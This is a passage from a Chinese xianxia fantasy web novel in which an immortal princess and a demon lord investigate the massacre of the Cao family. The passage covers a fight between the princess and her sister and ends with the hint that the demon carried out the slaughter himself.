“嗯。”卿岌淡淡道:“小王女的修为不知几何,但就算她有通天神力,也不可能不动声色地杀药神,或许,真正的杀招在聂阳王城之内。”
桌案上的烛火跳动摇曳。
卿岌的视线凝在焰火上,“我说过,她很像万魔域中的那株稀世之花,但也只是像而已。不过——”他的眼神冷漠无常,“倘若她就是聂阳王城里的稀世之花,那我不介意亲自掐断她的根茎。”
晏梦年吐出一口浊气,今晚冷不丁地提起药神,思虑过往的师徒种种,心神恍惚。
晏梦年突然道:“小尊主,去聂阳王城的时候,带我一个。”
卿岌:“你去干什么?”
晏梦年:“我师父可是上古之神!他神殒是意外,这事用脚趾头想都知道牵连甚广,指不定会牵扯到哪位神仙,我怕你进去仙域就出不来了。”
“干脆我也去吧,老子一介凡人,烂命一条,死在哪儿无所谓,只要能知道我师父的死因就够了。”
……
叶星簌睡了一个很沉的觉。
清晨天光未亮,她就察觉到白霓未经报禀便出门了。
二人住在一间屋子里,白霓的一举一动都在她眼皮子底下,但叶星簌只浅浅翻了个身。
都不用问,白霓离开的理由只可能与聂阳王君有关。
叶星簌想起来几日前送出去的那些神烛。
看来是聂阳王君得了消息,遣人来过问。
叶星簌收拾妥当拉开屋门,身形顿住,耳尖微微颤了颤——
这小院里竟空无一人!
她疾步走向卿岌住的那间屋子,这时,从院外传来声响。
叶星簌步子一错,连忙朝外走去。
来人正是卿岌。
淡金色的日光萦萦笼着凌乱生长的野草,卿岌不紧不慢的步子从其中走过。他周身气压低沉,碾过泥土和石砾,黑缎靴面上全是泥灰。
靴子突然停了下来。
叶星簌视线往上——他那身粗布衣袍不知何时破了一道两拃长的口子,垂在腿侧,格外惹眼,裂口处的纫线还在乱七八糟地飘着。
叶星簌的心跳莫名漏了一拍,她缓缓抬头,逆光看向距离自己仅三步之遥的男人。一夜之间,他好像有了些细微的变化。
“你去哪儿了?”叶星簌问。
卿岌漠然:“腿长在我身上,跟你有关系吗。”
这话一出,叶星簌心里那股不知从何而来的异样顿时消弭大半。
还是这副烂脾气,还是这张烂嘴。
叶星簌道:“今早起来发现你和晏大夫都不见了,特别担心。”她松了一口气,“还以为你又不告而别,晏大夫去逮你了。”
卿岌不置可否,忽然挑眉问:“你的侍女呢,叛主而逃了?”
“我吩咐她去办点事。”叶星簌随口一扯。
“姓晏的去山里采药,看来今日的冀州一行只有你我二人。”卿岌睨了她一眼,“何时出发?”
“反正这附近没人看见,不如就省些腿脚,我用阵法带你走。”叶星簌张开右手,灼灼金辉在她的掌心如流星般疾驰运转,然后向下一按,二人脚下神光陡现,一个环形金阵极快地飞旋外扩,瞬息功夫,二人便消失了,只剩灵力运转带起的风扯着山间矮树猛然一曳。
……
“哎走过路过不要错过啊!姑娘来瞧瞧,西域上好的香料,在盛京那可是千金难求……”
“包子!卖包子喽……”
冀州城内市井繁华,叶星簌闻见笋蕨馄饨的味就走不动路。
碗内满满当当地盛着热气腾腾的馄饨,个个皮薄馅多,晶绿色的蕨菜和春笋格外剔透,鲜香和清新扑鼻而来。
叶星簌边吃边向摊贩打听曹家府邸所在。而卿岌站在不远处的路边,倚着书画铺子外的廊柱,有一搭没一搭地咬着一串冰糖葫芦。
长街之上,尽是烟火人间。没来由地,一种安然与满足将叶星簌的心填得充盈。
但一碗馄饨很快见底,叶星簌
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用完膳食,转头,目光落在卿岌满是泥泞的靴子和袍角破烂的衣衫上。
她忽然兴起,付了钱后,起身拽着神游天外的卿某人钻进旁边的成衣铺。
卿岌刚站稳就想走,叶星簌揪住他的后领就往里间塞,叮嘱乐呵呵上来迎客的掌柜:“给这位公子挑几件合适的衣裳,要最好的料子、最时兴的样式,价钱不是问题。”
掌柜的眼睛一亮,连忙招来两个小二前后服侍。
卿岌沉眼立眉,似欲发作:“你……”
叶星簌笑吟吟道:“你长相俊俏,整日穿这些暗沉沉的衣裳多单调啊,再说,你身上那件都破了。我们是去讨公道的,怎能在气势上输阵?堂堂一城之主,却穿得如此寒酸,岂不是让人看低了。”
不待他说什么,掌柜小二立即眼明心亮地哄着人去试衣。
叶星簌在店内继续逛,看中哪件便要小二拿去里间给卿岌试。店内还摆放着样式各异的发冠,叶星簌挑了最精巧的一只,刚拿到手里,就听到里间传来一阵嘈杂——
“哎哟公子别急啊,还有几件没试呢!”
“公子公子,头发乱了!”
“公子,外头的姑娘又挑了几件,您您您莫急啊!”
“……”
叶星簌闻声回头,一道颀长明艳的身影踩着一双崭新的黑靴迈过门槛,那双修长苍白的手掀开棉帘,卿岌从阴影里出现。
叶星簌怔愣须臾。
他身穿窄袖银朱锦袍,绯红如火般张扬耀耀,袍角袖口皆缀有细密的银线缠枝纹,外搭素白褙子,金纹掐丝。卿岌神情倦恹,显然是失了耐心,他迈着大步从里间出来,乌黑的长发扫过肩头,一手扣住袖口拨弄,应是新衣在身,还有些许不适。
叶星簌反应过来立马把发冠递给他。
卿岌没好气地接过,随意几下动作便扎好了一个高束马尾。
看着他的动作,叶星簌没来由地想,如果卿岌只是个凡人,以他现在的模样想来也不过弱冠的年岁。红衣衬他,尽显张扬。
掌柜小二连声捧场,一阵穿堂风从窗缝中掠了进来,卿岌的一绺长发乱飘,挡住了眼睛。
叶星簌脸上的笑容陡然僵住了。
那一瞬间,她似乎置身虚幻朦胧之境,眼前所见天旋地转,周遭的声音都模糊得像是隔了层厚重云雾。
“簌簌。”
一道陌生的声音仿佛从遥不可及的地方传来,隔千山,渡万水。
有人在云雾深处这样叫她。
虽然看不清他的脸,却能看见他的一身红衣、能感知他是在笑着的。
“你是谁……”叶星簌听到自己这样问。
那人似乎笑叹一声。他的声音和卿岌很像,连语气中的嘲讽都一样,“叶姑娘可真是贵人多忘事……行吧,忘了便忘了。”他转身毫不犹豫地走向迷雾深处,“别再找死了啊,我在黄泉路上守着,敢来,我就把你踹回去……”
“呵。”一声真真切切的冷嗤突然在近在咫尺的距离响起。
叶星簌惊得瞬间回神,这才发现卿岌不知何时靠了过来,二人距离极近。
卿岌垂眸睨着她,突然伸手掐住了她的脸,力道不轻。他似笑非笑道:“我是谁?这是什么问题?王女您莫不是因为这身衣服,想起了哪个小妾?”
叶星簌脑子里乱七八糟的思绪陡然一扫而空,脸颊被他掐得生疼,连忙拍开他的手,皱眉疑惑道:“啊?你刚说小什么?”
这姓卿的整天都在想什么啊……
卿岌已然不理会她了。掌柜小二接连不断地拍马屁,卿岌反手一指,“她付钱。”
叶星簌一边递银子,一边出神地想,方才,记忆中那个看不清脸的男人叫她“簌簌”。
那人是谁?到底是怎么回事……
卿岌早就待得不耐烦了,顺手拿走店小二帮忙举着的冰糖葫芦,抬步向外。
叶星簌无意抬头,看见的是他的背影。
竟和方才的幻觉重合。
擦肩而过之际,叶星簌抬手拽住了他的衣袖,脱口而出:“卿岌,我们以前……是不是见过?”
“……”卿岌嚼着糖葫芦,“你可真是神神叨叨又莫名其妙。”
19. 第 19 章
思及曹家人多势众,而他们只有两个人,叶星簌担心若是两边发生冲突会有疏忽,便想在铁匠铺里给卿岌挑一件衬手的刀剑防身。
谁料这厮的矫情病又犯了,说这把刀太钝,嫌那柄剑太沉。叶星簌索性也不伺候了,这个没良心的混账东西,真要打起来死伤自负吧。
离开时,墙上悬挂着的一只冷铁护腕吸引了她的目光。
老铁匠看出了她的心思,忙道:“姑娘想要护腕?”
叶星簌摇头,但还是将其取下来看,上面镂刻的花纹精巧考究,“这个护腕好像和平常用的不太一样。”
“姑娘好眼力,老朽的打铁功夫是跟一个曹家下人学的。曹家铸的器物特殊,机关多,常常卖给道士和江湖中人。”
叶星簌摸到一个凸起,轻轻一按,弹出来一个很细的针匣。
叶星簌问:“师傅这里可有纸笔?”
老铁匠:“有。”
叶星簌铺开纸面,提笔沾墨,“卿岌,你平常用的是剑吗?”
卿岌明白她的意图,默了默:“凡铁没用。”
“凡人之中也不乏大奸大恶之辈,以防万一吧。”叶星簌道,“或者,你就当我钱多没处花,给你买着玩。”
卿岌:“……”
卿岌:“我平常用双刀。”
叶星簌抬了下头,“很飒啊。”
她落笔绘图,一边询问样式和他的喜好。
卿岌比划了两个长度。
“用双刀的很少,用长短双刀的更少。”叶星簌道。
一会儿的功夫,卿岌让她意外两次。
卿岌:“我的第一副刀是捡的,其中一把刀断了,但慢慢用习惯就懒得换了。而且,它很适合趁人不备时一击毙命。”
大约一盏茶过后,叶星簌拎起宣纸,轻轻吹了吹未干的墨迹。图上是她画的双刀图样,简单精妙,还在一旁标注了尺寸。
她递给铁匠,又叮嘱了一些细节。
……
曹家府邸坐落于一条长街尽头,位置偏僻但环境清幽。
“杀凡人用不着刀剑,杀神魔无异于以卵击石。你不如再吃两碗馄饨。”路上,叶星簌分享了她对双刀成品的期待,卿岌又阴阳怪气地刺她一句。
她一时兴起,也不明白自己为何莫名想给卿岌送刀。只可惜,上好的神兵几乎不可能流落凡尘,只能等日后有机会了。
叶星簌道:“你这个扫兴的魔……”
话音顿住。
她突然冷下脸,抬眼看向长街尽头那座富丽堂皇的院宅。青天白日之下,连阳光都是刺眼的,却唯独那座深宅散发着森森寒意。
叶星簌皱眉嗅了嗅,空气中弥漫着丝丝铁锈般的血腥味,“不好!”
她朝曹府门口奔去,朱红厚重的大门紧阖着,两边的石狮子巍峨凶悍。头上匾额恢宏,一旁高矗的青面旌旗被风掀起,重重拍打在黑铁长杆上,旗面之上,一个咄咄遒劲的“曹”字用粗笔写就,笔锋凌厉,盛气逼人。
只是,一道泼溅的血迹如同一把悍刀,生生将“曹”字拦腰割断。
血迹早已变成深褐色。
卿岌慢悠悠地踱步过来,扫了一眼,随即上前,伸手,没用丁点力气便推开了曹家大门——
大门嘎吱作响,绵长得就像割肉钝刀。
门缝渐渐泄露内里光景,一刹间,滔天血气奔涌而出,势如破竹。
叶星簌立即抽出发髻上的青玉簪,神光一闪,簪子变成一柄通体如玉的长剑,皓月繁星般的剑芒寒意凛然,阳光下,剑锋流转白光。
二人一同入内,叶星簌眉心紧蹙,越往内里,越觉诡异,在浓重得令人作呕的血腥中,还有一股挥之不去的……海腥味!
她心道不妙,人间宴客就是宰上几十条鱼也不会有这么重的腥气,此处怕是有大妖出没。
叶星簌无奈地瞥了身侧男人一眼,卿某人闲庭信步仿佛是在逛自家宅子。
她没好气将人往身后一扯,提剑走在前面。
卿岌低眸看着她的侧脸,似笑非笑道:“一直都想说,叶姑娘不愧是仙域王女,心善仁厚,连魔族都袒护。”
叶星簌头也不回道:“府里有鱼妖的气息,修为不弱,活吞你都不在话下。”
卿岌轻飘飘地“哦”了一声,显然是不在意的,但还是颇给面子地吐出一句:“那你要好好保护我。”
曹氏府邸很大,布局规整有序,亭台楼阁鳞次栉比,半隐半现地坐落于繁盛的花木之间。院内置有假山石景,蜿蜒曲溪沿着抄手游廊从府内深处汩汩涌出,不知渠漕里的水原先是清澈还是浑浊,但此刻只剩被鲜血染就的赤红。
偌大的一座院子,此刻空无一人。
叶星簌环视一圈,不由道:“冀州城远离中原,曹家单凭流放起家,不过数年,府中的一砖一瓦便已堆金砌宝……哼,铸剑师的名声还真好用。”
二人循着甬道朝里,叶星簌的表情沉了下来。
正如她的猜测,曹家被灭门了!
院内景象太过惨烈,叶星簌在石拱门下不由顿住脚步。入目血光冲天,全是断臂残躯、身首异处,曹家门生仆役的尸体七零八落地散了一地,仿佛下过一场瓢泼血雨,猩红的血水倾洒在这些尸身上。
乱七八糟堆叠着的残躯之下,一条手臂搭在水道边,血流像蛛网般缠绕而下,最终汇聚于指尖,如同断线珠子一般接连不断地流入水中,最终染红整条河道。
卿岌偏过头,打起量身侧少女吃惊冷肃的面容。
这是叶星簌脸上极其少见的情绪,微不足道,却莫名取悦了他。从初见起,小神仙就一副淡然自若的模样,无趣得和那些死板仙君无甚区别。
几条贱命就能换得神女破功,卿岌觉得,还是这样的她有意思。
叶星簌顾不上其他,俯身验看了几具尸体。没有一人留有全尸,首级、四肢、肝脏遍布院落,只怕连经验老到的仵作来了都要拼上几天几夜。
她又翻看了几处伤口,起身断言:“凶器是刀,一击毙命,从手法上看,全是一个人杀的。”
卿岌抱臂,悠哉悠哉地从檐下走近,嘴角含笑,看似附和道:“王女好眼力。”
叶星簌望着他,男人的银朱锦袍莫名比这满院血色还要灼目赤烈。他一步一步地踩在青砖坑洼里血水上,愈来愈近。
这是第一次,叶星簌觉得他眉眼间的细微表情有些刺眼。
但她什么也没说。
叶星簌转过身,提剑冲进其他院子,一路上,每隔几步便倒着一具尸体,查探的同时还要提防踩到脚边的残肢和头颅。
不到半炷香的功夫,叶星簌便翻遍了曹府的所有房间。
曹家满门,竟无一人生还!
那股海腥味始终萦绕在鼻尖,卿岌嫌弃得紧,时不时抬手扇扇风。
很快,叶星簌的裙角被血浸透,她站在主院中央,四周是淌血不停的尸体,面前不远处就是曹氏当家人的书房。
木门半开,年过半百的男人挺着大腹便便的身躯瘫死在门槛上。他的一条腿在内,一条腿在外,脖子被人一刀削了,仅剩几寸皮肉勉强扯住头颅,似乎风一吹就会掉下来。
卿岌赏花看戏一般到处晃悠。
叶星簌看看他的身影,又皱眉分辨空气中浓重的鱼妖气息。
她疑惑道:“不论是不是鱼妖杀的,曹家连正
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经仙门都不是,怎么会跟大妖扯上关系?”
话音刚落,二人猛地同时回头。
一些窸窸窣窣的声音从西北角传来,声音微不可察,却在这死寂的宅子里格外突兀。
叶星簌抬步上前,卿岌的眼神一眯,阴鸷地看向角落,吊儿郎当抱臂的动作放下了。他落后半步,跟上叶星簌。
西北角堆放着不少残缺有损的镗刺钩矛,叶星簌提剑一拨,各种兵器“丁零咣啷”地砸落,然后,一道尚不足半人高的木门显露出来。与此同时,一声惊呼从门里传了出来,声音不大且稍纵即逝,但他们还是听到了。
剑尖指向木门,叶星簌寒声道:“出来。”
门内人没有动作。
卿岌站在她身后几步的地方,垂下的手腕轻翻,掌心虚虚一拢,一把窄刃长刀带着嗜血煞气悄然出现。
昨夜残留在刀身上的血尚未清理,“啪嗒”一声,一滴血珠自刀尖砸落。
卿岌眼神变冷,竟然有漏网之鱼……
叶星簌对此毫无所觉,她收了剑反手负于身后,声音放缓了些许,道:“你是曹家人吗?府上发生了何事?我们是过路修士,没准可以帮你。”
门里还是无声无息,叶星簌也不催促,耐心等着。
终于,木门动了。
一只惊恐的眼睛率先显露,那人只看见了叶星簌,见她样貌清丽,心下稍安,哆哆嗦嗦道:“你你你……你们真是好人吗?”
叶星簌无奈一笑:“如果我是凶手,就凭这扇木门怎么拦我?”
那人似乎纠结许久,终于缓缓拉开门。门里漆黑、逼仄,看起来像是狗洞。躲在洞里的人年纪不大,但个头不小,倒是难为他把自己蜷成一团塞在里面。
叶星簌刚要递手拉他一把,少年却抬眼冷不丁看见了她身后的卿岌。
卿岌身形高,逆光沉眼睨着他,瞬间让那少年的后背窜起一股森森冷意。卿岌眼中的杀意直直地冲面而来,缓缓勾唇,挑衅般地一歪头,避开头顶的日光,好让少年将他的面容看了个清楚。
“啊!!!”
叶星簌的指尖将将触及少年的袖子,对方却突然凄厉地大叫出声。
叶星簌一愣:“你怎么……”
少年浑身抖如筛糠,在洞口缩成一团,胡乱挥打臂膀,用足力气的一巴掌狠狠甩在叶星簌的手背上,语无伦次地嚷嚷道:“是你!是你!别杀我!别杀我!我求求你了别杀我……”
卿岌扬唇一笑,突然嘴角一僵,那股无名异香又袭来了——
有人来了。
他倏地收起长刀。
与此同时,天边闪过一道耀目白光,长鞭穿过云层,直直抽向叶星簌尚未收回的右手。
叶星簌反应不及,“啪”一声,手背上立时被打出一道血淋淋的鞭痕。
她被突如其来的巨大神力击得往后趔趄几步,将要摔倒时将长剑在掌心一旋,以剑撑地,脚下灵活一错,这才站稳。
卿岌饶有兴趣地看着这场突如其来的变故,然而那少年杀猪般的嚎叫实在太聒噪。
他看也不看地碾了碾脚下石子,然后一脚将其踢向少年的太阳穴。
少年吃痛晕倒在地,周围总算安静下来。卿岌再次将目光放在叶星簌那边。
叶星簌还未站定,一柄长剑破云而来,直直朝她的心口刺去,叶星簌忙运力一挡,两道神力对冲,势均力敌。
金光阵法带着空气隐隐波动,叶星簌眨眨眼睛,看清了对面那张不掩失望与愤恨的脸。
那人声音冷冽,叱问道:“你杀的?”
来人竟是叶珍钰。
叶星簌急声大喊:“阿姐!别!不是我!”
20. 第 20 章
在认出叶珍钰的一瞬间,叶星簌就毫不犹豫地撤了全部神力。
然而叶珍钰的长剑紧追不舍,“轰”地一声,直接毁掉她的护体金阵。冷锥般的剑风厉然袭面,叶星簌直接摔坐进血水里,下意识抬起手臂挡在眼前。
“阿姐……”
剑锋所指,叶星簌皓腕上的血痕眩目惊心,鲜血一滴一滴地滑落,突兀的红刺痛了叶珍钰的眼睛。她呼吸一乱,猛地收力,长剑悬停在距离叶星簌腕间仅仅毫厘的地方。
“你……”叶珍钰呼吸深重,诸多话堵在喉口。
她突然就忘了自己该说些什么、问些什么,她更无法理解叶星簌刚刚的反应。或许,她该问一句“为何杀人”,但来自心底的、对叶星簌无法忽视的在意让叶珍钰觉得,这些问题太蠢了。
一时,四下寂寥。
许久都没人说话,“嗖”地几道风声,十几位仙侍御剑跟了过来。
血气翻涌、满是尸首的院子,冷不丁地多了些不速之客。
叶珍钰内心挣扎的同时,叶星簌也有些迷惑,没想到她会紧急收手。
叶星簌缓缓放下手臂,仰头看向满身冷肃的姐姐,试探唤道:“阿姐……”
叶珍钰:“……”
叶珍钰环视四周,曹府之惨烈,令她倒吸一口冷气,扬声叱问道:“这些凡人到底怎么回事?!”
“真的不是我!”叶星簌辩解的话脱口而出,愣了下,又连忙道:“阿姐,小玄山附近陆陆续续失踪山民数十人,我查过,不是魔族干的,是凡人。我可以肯定此事与曹家脱不了干系,所以才一路追到这里。我今天上午才来冀州城,还不足半日,根本没想到会发生这样的事。”
叶珍钰的长剑一动不动,其实心中已信了大半,问道:“方才那个凡人,为何说是你杀的?”
叶星簌立即转头看向檐下,卿岌满脸好整以暇,见她望了过来,抬脚踢了踢脚边晕倒的少年,挑眉示意。
叶星簌只好回头解释道:“阿姐,我验过尸,曹家人家全都死于昨夜。如果真是我做的,那我何必浪费时间与刚刚那个手无缚鸡之力的凡人周旋?至于他说的话,我猜可能是他亲眼目睹了昨夜惨剧,惊魂未定,被生人吓着了。”
叶珍钰面无表情,叶星簌又道:“阿姐,真的不是我。你察觉到了吗?这里到处都是很重的妖气,修为不低,是大妖。”
院内隐隐萦绕的鱼腥妖气过于浓烈,叶珍钰也早就察觉到了。
姐妹二人对视片刻,叶珍钰重重哼了一声,手一挥收了剑,道:“说的也是,你自小随心所欲,杀人之后恨不得敲锣打鼓,生怕旁人不知你的王女威名。”叶珍钰眼底染上几分恨意,冷冷一笑,似自讽,又似悔恨,淡声道:“你要杀谁,是压根不会顾虑我的,更不会像此刻这般还纡尊与我解释。”
叶星簌百口莫辩:“阿姐,我……”
叶珍钰再没耐心继续听下去,不再看她一眼,嫌恶地抬步离开,“来人!”
一众仙侍持剑上前,叶珍钰点了几个人,吩咐道:“速将曹家一事上报九重天和聂阳王城,其他人留下彻查此事,务必找到真凶,并尽快查探大妖的身份,另外,还要加派人手——”叶珍钰皱眉看向院中惨状,沉声道:“为这些凡人处理后事。”
“是!”
叶星簌撑着剑站起身,悻悻地站在一边,没敢打扰叶珍钰办差。
她看向阿姐干练且有条不紊的身影,只觉得陌生又恍惚。于人间游历、为百姓除魔降妖,是叶珍钰始终坚持在做的事情,却是叶星簌第一次亲见亲历。
聂阳王城日夜受人间香火供奉,却唯独叶珍钰一人担了护佑众生的责任。
察觉到她在发呆,卿岌嗤笑一声,“还以为只有我那几个哥哥阋墙相争,没想到你们仙域王女也对姐妹刀剑相向。”
叶星簌没好气道:“你懂什么……又没打得你死我活,算什么刀剑相向。”
卿岌转头睨着她,意味深长道:“也是,你不止没打,甚至没用力,似乎连剑都想扔了。”
这时,一位仙侍狐疑地看他们一眼,随即附耳与叶珍钰嘀咕几句。
叶珍钰立刻抬头气势汹汹地瞪过来。
叶星簌不明所以,卿岌笑了笑:“好像在说我们坏话。”
果然,那位仙侍汇禀完,叶珍钰便直接大步过来,看着卿岌,话却是问她的,“他是谁?”
叶星簌下意识替卿岌遮掩,道:“朋、朋友,他就是个普通修士。”
“是吗。”叶珍钰显然不信,但也不再跟妹妹废话,手臂一抬,命令道:“把人带走,送去刑堂。”
叶星簌连忙上前挡在卿岌身前,长剑一横,道:“阿姐,你这是何意?”
一众仙侍上前也不是,退后也不是,毕竟面前的两位都是王女。平常听候大王女差遣是一回事,可要忤逆王上最宠爱的小女儿就是另外一回事了。若是小王女在王上跟前添油加醋抱怨几句,他们会连怎么死的都不知道。
叶珍钰也意识到仙侍们的心思,冷冷一笑,“你的这位朋友,似乎并不磊落。”
叶珍钰看向方才跟她咬耳朵的下人,命令道:“把你刚刚说的话,再为小王女重复一遍。”
那人惴惴上前,挣扎片刻,最终垂眉低眼道:“方、方才两位王女交手之时,臣下亲眼所见,是……是这位公子趁乱用石头将那个凡人击晕的……”
叶星簌不解地看向卿岌,后者事不关己地一挑眉,道:“他一直在叫,特别吵,打扰两位王女切磋。”
叶星簌瞪了他一眼,随即转向叶珍钰,为卿岌开脱道:“阿姐,我这朋友重伤未愈,心神不稳,平日最喜清静,冷不丁看见这般惨象已经够伤神了……再说,那凡人受了刺激,现在什么都问不出来,让他先好好睡一觉未尝不可。”
聂阳王城的其他地方倒也罢了,她都能护住卿岌,但刑堂不行,刑堂掌事只听命于聂阳王君。卿岌若是被带去刑堂,怕是很难再出来了。
卿岌的身份能瞒过叶珍钰和一众仙侍,但绝对瞒不过聂阳王君。
届时可就麻烦了。
叶珍钰皱眉打量卿岌,这个男人让她很不舒服。
感受不到他身上的神力、妖气或是魔气,应该就是个普通凡人,可……叶珍钰总感觉有种说不上来的古怪。
常年游历四海八荒的经验告诉她,不能放过任何一个不同寻常之处。
于是,叶珍钰二话不说便闪身上前,目标是卿岌。
她这动作从一开始就没逃过卿岌的眼睛,男人垂下的手悄然萦绕血气,眸中嗜血与寒意翻涌。
但他的长刀还未现,胸口却被人猛地一推。
卿岌后错两步,站稳才看清,叶星簌的动作竟比他二人都快,单薄的身躯挡在他身前。
“铮”地一声剑刃相撞,如雷贯耳,两道神力互不相让,撞得空气激荡。
叶星簌反手握着剑柄,看着叶珍钰的眼睛,语速极快道:“阿姐,这事跟他没关系。”
叶珍钰厉声道:“你是个蠢货不成?!睁大你的眼睛好好看清楚,此人绝非善类!”说着,手上力气加重。
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叶星簌悄然注力,轻而易举地扛住对面排山倒海般压来的力道,道:“无凭无据,难不成你要靠感觉拿人?”
叶珍钰一顿,一言不发地瞪着她。
趁此机会,叶星簌手腕一旋,寒玉剑刃倏地将僵持的神力击散,她又聚力一送,把叶珍钰推得后趔几步。
白光乍闪,叶星簌将长剑收了,掌心金光流转,“阿姐,我带那个凡人找大夫,你有人手,而且对六界了解颇多,可以查探大妖的来历和下落,拜托了。”
话音一落,环形金阵出现在地面上。
眨眼间,叶星簌、卿岌和地面上晕死的少年消失得无影无踪。
众仙侍下意识地追上前,叶珍钰沉着脸:“不必追了。该干什么干什么去,好好彻查来过此地的大妖。”
一人上前,面露为难道:“启禀王女,此地弥留的妖气很重,只怕不是山野间修炼而成的普通妖怪……”
这话欲言又止,不过叶珍钰知道他想说的是什么——
大妖在人间现身,又还牵扯进灭门命案里,若是寻常妖物倒也罢了,但此处妖气之重,谁都能猜到这大妖一定来历不凡……
她沉吟片刻,道:“我知道了。曹家的事就交给你们,我去一趟沉岫海都。”
“是,王女!”
众人在院中忙活起来,叶珍钰垂下视线,看着自己那只握剑的手,暗暗咬牙。在和叶星簌交手之后,她的手腕就控制不住地颤抖,那股强悍的力道竟出于叶星簌之手……
算起来,这应该是她们姐妹第一次正经交手。
原来,叶星簌的修为早已在她之上……
叶珍钰吐出一口浊气,方才若非叶星簌处处收敛,自己根本不是她的对手。本以为整日胡闹的小妹不过是个空有父亲撑腰的花架子,谁料这个看似浑浑噩噩的人,却能轻而易举地赶超她的千年修为。
叶珍钰用力攥紧了拳,试图止住那无法控制的颤抖。
列仙为了拍聂阳王君马屁,常常闭着眼盛赞小王女是多么有天赋,可……叶珍钰满脸嘲讽,如果真的是天赋异禀就好了,那她就能坦然接受这千百年的努力原来如此不堪一击的事实。
可一想到为了提升叶星簌的修为,父亲大肆搜刮奇珍异宝、宰杀灵兽仙鹤为她铺路搭桥,叶珍钰的心中除了不甘还是不甘。
一声长叹,叶珍钰将杂念抛出脑后,捏了个诀,动身前往沉岫海都。
……
晏梦年始终在回想卿岌的话,以至于他的注意力总是被门口张望小主人的白霓吸引,心神一乱,药抓错了。
他索性扔了小秤杆,兀自平复心中不忿。师父不明不白地死了那么多年,如今线索近在眼前,卿岌却让他不要轻举妄动。他半生行医救人,原来逆天改命的医术在通天神力和仙家权势面前是这般不值一提。
门外突然刮起一阵劲风。
晏梦年察觉到白霓看了他一眼,于是装模作样地没动弹,连眼都不抬。
几息功夫过后,门外传来叶星簌的声音,“晏大夫!曹家满门被屠,就剩下一个活口,您快来瞧瞧这人身上有没有伤。”
晏梦年瞳孔一缩——
曹家满门被屠?!!
他连忙奔出去,还没来得及细看伤患,就直直对上卿岌戏谑玩味又暗含警告的眼神。
晏梦年心头一震,他太了解卿岌了——
这副表情,分明就是在说,曹家人都是他杀的。
可是,这厮昨夜不是去取刀了吗?
怎会莫名犯了疯病屠人满门……
21. 第 21 章
卿岌和晏梦年心照不宣的视线交汇一瞬,后者心惊肉跳地飞快移开。
晏梦年一边平复心情,一边假装救人心切。
一贯爱当大爷的卿岌难得有点眼力见,破天荒地主动递给他一块干净的帕子净手。
晏大夫心里一突,抬手去拽,帕子却似牢牢粘在卿岌手上,纹丝不动。
果然,此人要作妖。
叶星簌主仆还在身后忙碌着,晏梦年心虚抬头,卿岌轻轻一偏脑袋,使了个眼色。
晏梦年气得眉毛都拧在一起,嘴型极快地无声骂他,然后假意“啊”一声,转头对叶星簌道:“叶姑娘,我屋里缺了一味关紧药材,想劳烦您帮个忙。”
叶星簌正在翻找小药箱里的纱布,他一开口,让她的心神从小药箱上移开。
刚刚挨了一鞭子的右手仍在淌血,没找到纱布包扎,她便随手拿起湿抹布擦了两下,道:“什么药材?”
晏梦年翻出来一本药经,沉吟着翻了几页,随便指着其中一页的图案,道:“就是这个药草,山腰处有不少,您走过去就能看见了。”
“好,我这就去。”叶星簌接过书,随口道:“先生不是今天一大早就出去采药了吗?”
晏梦年讪讪道:“没采够,没采够!哈哈哈哈!”
主仆二人未有疑心,出门去寻药。
卿岌意味不明的视线追着叶星簌背影,眉心处的不解与烦躁挥之不去——她手背上那道血淋淋的鞭痕实在是过于刺眼。
晏梦年终于放松下来,随口道:“你这什么眼神?人家小王女又惹着你了?”
卿岌眯了眯眼睛,张嘴却欲言又止。
晏梦年不可思议地瞪大了眼:“诶呦喂你到底怎么了?杀人杀傻了?你这随心所欲的王八羔子还有支支吾吾的一天?”
卿岌横他一眼,冷声道:“让你把她支走没让你这么急不可耐,庸医,没看见她手上的伤吗?”
晏梦年张了张嘴,狠狠地眨眨眼睛,好像在看一个陌生人:“你这……你这倒打一耙的本事真够可以啊,不是你眼皮子抽筋让我把人支走的吗?我以为你有急事儿。”
“罢了。”卿岌脸上写满烦躁,沉默许久,不知道在想什么。
直到晏梦年被他凌迟般的视线瞪得受不了,嚷嚷道:“不至于吧!她一活蹦乱跳的神仙,轮得到你这要死的魔头操心?”
卿岌烦躁:“这聂阳来的小神仙到底想干什么?她明知道我的身份,为何还要自找麻烦?明明有通天修为,为何白白受那一鞭子?”
卿岌又面色不快地强调道:“我没操心,她就是被一鞭子打死都轮不到我收尸。你是不是有眼疾?”
晏梦年:“……”
晏梦年意味深长地看着他,幽幽道:“合着你还是在担心她手上的伤呗。所以你刚才是干什么吃的?刀都有了,为什么不帮她挡一挡?”
“我——”卿岌下意识地反驳,却突然哑声。
晏梦年:“你怎么着?”
卿岌想起刚刚短暂的交锋,“她修为高深,不需要别人相助。”
晏梦年哼道:“这借口能骗过你自己就行。”
卿岌阴沉地拧眉,多少有些气急败坏,大马金刀往桌边一坐,道:“等人回来,给她随便治治。整天都是一副要死不活的模样,看着头疼。”
晏梦年:“啧啧啧,行行行。”
“鞭子鞭子的,一回来就念个没完,你怎么这么在意?”晏梦年不咸不淡地安慰道:“你是真不明白还是假不明白?被你老爹老哥们作贱了两千多年,你不是最明白手足之间的羁绊有多可笑吗。”
卿岌眯了眯眼,忽然提起一个从叶星簌那里没有得到答案的问题。
只是相比于之前,他的语气中不再掩饰迷惑,道:“还以为只有我那几个哥哥阋墙相争,没想到仙域王女也对姐妹刀剑相向。”
晏梦年嘲讽哼道:“你懂什么。”
他和叶星簌说了一模一样的答案……卿岌冷冷睨他一眼。
但他总觉得,晏梦年嘴里他不懂的应该和叶星簌说的不是一回事。
晏梦年:“天老爷,你不会以为那些神仙每天手拉手亲密无间吧?不说别的,我就问你,看见曹家血流成河,叶姑娘什么反应?”
卿岌一顿。
晏梦年了然,“我师父说过,六界从未有过至纯至善之地,鬼域魔城腌臜不堪,仙界神域也没好到哪儿去。你只见过我师父和小王女两个神仙,但他俩是好神仙,不代表别人也是。”
晏梦年翻了个白眼,道:“行了行了,说正事吧,为什么把她支走?”
卿岌偏头看向里间仍在昏迷的曹家幸存者,道:“那人没吓死吧?”
晏梦年:“没有,就是晕过去了而已。”
卿岌“嗯”了一声,道:“他看见我杀人了。配点药,让他暂时忘了。”
晏梦年不由“嘶”了一声,唏嘘道:“你什么时候作完孽还会考虑遮掩了?吃错药了吧!”
二人的脾气一个比一个糟,没说两句话,卿岌的烂脾气就上来了,直接呛声道:“我倒是想一刀剐了他,可这院里不是还有个神仙在吗?而且——”他神情阴戾,沉声笃定道:“这个人,身上也有异香。”
“什么!!!”晏梦年惊呼出声。
